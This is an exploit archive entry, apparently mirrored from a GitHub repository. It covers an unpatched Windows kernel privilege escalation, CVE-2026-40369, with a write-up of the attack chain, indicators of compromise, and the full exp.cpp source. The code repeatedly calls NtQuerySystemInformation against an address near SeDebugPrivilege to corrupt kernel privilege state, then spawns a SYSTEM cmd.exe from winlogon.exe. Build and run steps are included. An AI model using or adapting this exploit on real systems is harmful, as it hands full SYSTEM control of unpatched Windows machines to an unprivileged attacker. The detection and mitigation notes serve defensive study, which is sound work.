PoC Archive PoC Archive
High CVE-2026-40369 unpatched

Windows Kernel Local Privilege Escalation via SeDebugPrivilege Bit Corruption (CVE-2026-40369)

by CCELEND · 2026-07-05

Severity
High
CVE
CVE-2026-40369
Category
binary
Affected product
Windows kernel (ntoskrnl.exe)
Affected versions
Windows builds vulnerable to the underlying kernel information-disclosure/corruption primitive exploited here (specific build range not stated in source)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherCCELEND
CVE / AdvisoryCVE-2026-40369
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagswindows, kernel, lpe, privilege-escalation, token-stealing, sedebugprivilege, ntoskrnl, local
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows kernel (ntoskrnl.exe)
Versions AffectedWindows builds vulnerable to the underlying kernel information-disclosure/corruption primitive exploited here (specific build range not stated in source)
Language / PlatformC++ (Win32/NT native API), compiled as a Windows executable
Authentication RequiredLocal-only (requires an existing low-privilege local session)
Network Access RequiredNo

Summary

This exploit is a local privilege escalation chain against the Windows kernel that abuses a low-level primitive reachable through NtQuerySystemInformation to corrupt a bit near the process’s SeDebugPrivilege state in kernel memory, without requiring the attacker to already hold elevated rights. Once the debug privilege has effectively been granted, the tool locates the kernel object address of winlogon.exe’s token/thread structures, opens a handle to the winlogon.exe process with PROCESS_CREATE_PROCESS rights, and spawns a new cmd.exe process inherited from that SYSTEM-level process — resulting in a SYSTEM command shell for the original low-privilege caller. The PoC requires the operator to manually supply the running system’s ntoskrnl.exe kernel base address (leaked separately, e.g. via a known info-leak or debug interface) before the offset calculations and corruption primitive can be used.


Vulnerability Details

Root Cause

A kernel memory corruption/confusion primitive reachable through the NtQuerySystemInformation system call (invoked here with the SystemHandleCountInformation class against a crafted, attacker-influenced address derived from the resolved SeDebugPrivilege offset) allows an unprivileged caller to flip privilege-related state without proper access checks.

Attack Vector

  1. Attacker resolves the running kernel’s base address (ntoskrnl.exe load address) and supplies it to the exploit.
  2. The exploit locates SeDebugPrivilege- and token-related offsets by parsing the on-disk ntoskrnl.exe image loaded into the process (via GetModuleByName/offset-finder helpers).
  3. The exploit repeatedly invokes NtQuerySystemInformation with SystemHandleCountInformation against an address derived from SeDebugPrivilegeAddr - 1, corrupting adjacent privilege state in the current process’s kernel object.
  4. With SeDebugPrivilege-equivalent access effectively obtained, the tool opens winlogon.exe (a SYSTEM-level process) with PROCESS_CREATE_PROCESS access.
  5. The exploit uses the winlogon.exe process handle to spawn a new cmd.exe process that inherits SYSTEM-level context, giving the attacker a privileged command shell.

Impact

Local privilege escalation from a standard user to SYSTEM on affected Windows builds, via a self-contained native executable requiring only local code execution.


Environment / Lab Setup

Target:   Windows host with a vulnerable ntoskrnl.exe build; low-privilege local user session
Attacker: Visual Studio / MSVC toolchain (Windows SDK, ntdll.lib) to build exp.cpp + exp_tools.cpp

Proof of Concept

PoC Script

See exp.cpp (entry point) and exp_tools.cpp/exp_tools.h (offset-finding and privilege/token helper routines) in this folder.

1
2
3
4
5
6
1. Build the project (Visual Studio, link against ntdll.lib).
2. Run the resulting executable on the target Windows host.
3. When prompted "Please enter ntoskrnl kernel base:", supply the leaked kernel base address
   (e.g. via an external info-leak or debug method — not included in this PoC).
4. The tool resolves SeDebugPrivilege/Token offsets, corrupts kernel privilege state,
   and repeatedly attempts to spawn a SYSTEM cmd.exe via winlogon.exe.

The program first prints the local OS version, prompts the operator for the kernel base address, computes the SeDebugPrivilege and token offsets from the loaded ntoskrnl.exe image, then loops corrupting kernel state via NtQuerySystemInformation while attempting to spawn a cmd.exe from winlogon.exe’s context until it succeeds, yielding an elevated shell.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected cmd.exe processes with a parent process ID pointing to winlogon.exe
  • A low-integrity or standard-user process suddenly holding SeDebugPrivilege without a corresponding administrative action
  • Anomalous, high-frequency NtQuerySystemInformation calls from user processes shortly before a privilege change

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 for CVE-2026-40369 — monitor Microsoft’s security advisories for a fix to the underlying kernel primitive
Interim mitigationApply available Windows updates promptly, restrict local logon/code-execution rights on sensitive hosts, and deploy kernel-mode exploit mitigation/EDR tooling that flags anomalous NtQuerySystemInformation usage and unexpected winlogon.exe-spawned processes

References


Notes

Mirrored from https://github.com/CCELEND/CVE-2026-40369 on 2026-07-05.

exp.cpp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <windows.h>
#include <iostream>
#include "exp_tools.h"
#pragma comment(lib, "ntdll.lib")

extern LPCWSTR wCmdPath;
extern LPCSTR CmdPath;
extern LPCWSTR wNtoPath;
extern LPCSTR NtoPath;

extern LPCWSTR wNtoRootPath;
extern LPCSTR NtoRootPath;

DWORD64 NTOKernelBase;
HMODULE NTOUserBase;
DWORD64 SeDebugPrivilegeAddr;
DWORD64 SeDebugPrivilegeAddrOffset;
DWORD64 TokenOffset;

//typedef enum _SYSTEM_INFORMATION_CLASS {
//    SystemProcessInformationExtension = 253
//} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID                    SystemInformation,
    ULONG                    SystemInformationLength,
    PULONG                   ReturnLength
    );

int main(void)
{
    setlocale(LC_ALL, "en_US.UTF-8");
    auto NtQuerySystemInformation =
        (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
    if (!NtQuerySystemInformation)
    {
        std::cout << "[-] Failed to get NtQuerySystemInformation\n";
        return -1;
    }

    OSVERSION OSVersion;
    GetFullOSVersion(&OSVersion);
    printf("[*] OS Version: %d.%d.%d.%d\n",
        OSVersion.MajorVersion, OSVersion.MinorVersion,
        OSVersion.BuildNumber, OSVersion.RevisionNumber);

    printf("[*] Please enter ntoskrnl kernel base: ");
    char input[64];
    if (fgets(input, sizeof(input), stdin)) {
        if (input[0] == '0' && (input[1] == 'x' || input[1] == 'X')) {
            NTOKernelBase = strtoull(input + 2, NULL, 16);

        }
        else {
            NTOKernelBase = strtoull(input, NULL, 10);
        }
    }

    //NTOKernelBase = 0xfffff802b4400000;
    NTOUserBase = GetModuleByName(wNtoPath);
    printf("[+] ntoskrnl kernel base: %llx\n", NTOKernelBase);
    printf("[+] ntoskrnl user base: %llx\n", (DWORD64)NTOUserBase);

    SeDebugPrivilegeAddrOffset = FindSeDebugPrivilegeOffset(NTOUserBase);
    SeDebugPrivilegeAddr = NTOKernelBase + SeDebugPrivilegeAddrOffset;
    printf("[+] SeDebugPrivilege offset: %llx\n", SeDebugPrivilegeAddrOffset);
    printf("[+] SeDebugPrivilege: %llx\n", SeDebugPrivilegeAddr);

    TokenOffset = FindTokenOffset(NTOUserBase);
    printf("[+] Token offset: %llx\n", TokenOffset);

    system("pause");

    NTSTATUS status;
    ULONG returnLength = 0;
    while (SpwanCmdSystem()) {
      status = NtQuerySystemInformation(
        (SYSTEM_INFORMATION_CLASS)SystemHandleCountInformation,
        (PVOID)(SeDebugPrivilegeAddr - 1),
        0,
        &returnLength
      );
      printf("[+] status: 0x%08lX | returnLength: %lu\n", status, returnLength);
    }

    system("pause");
    FreeLibrary(NTOUserBase);
    return 0;
}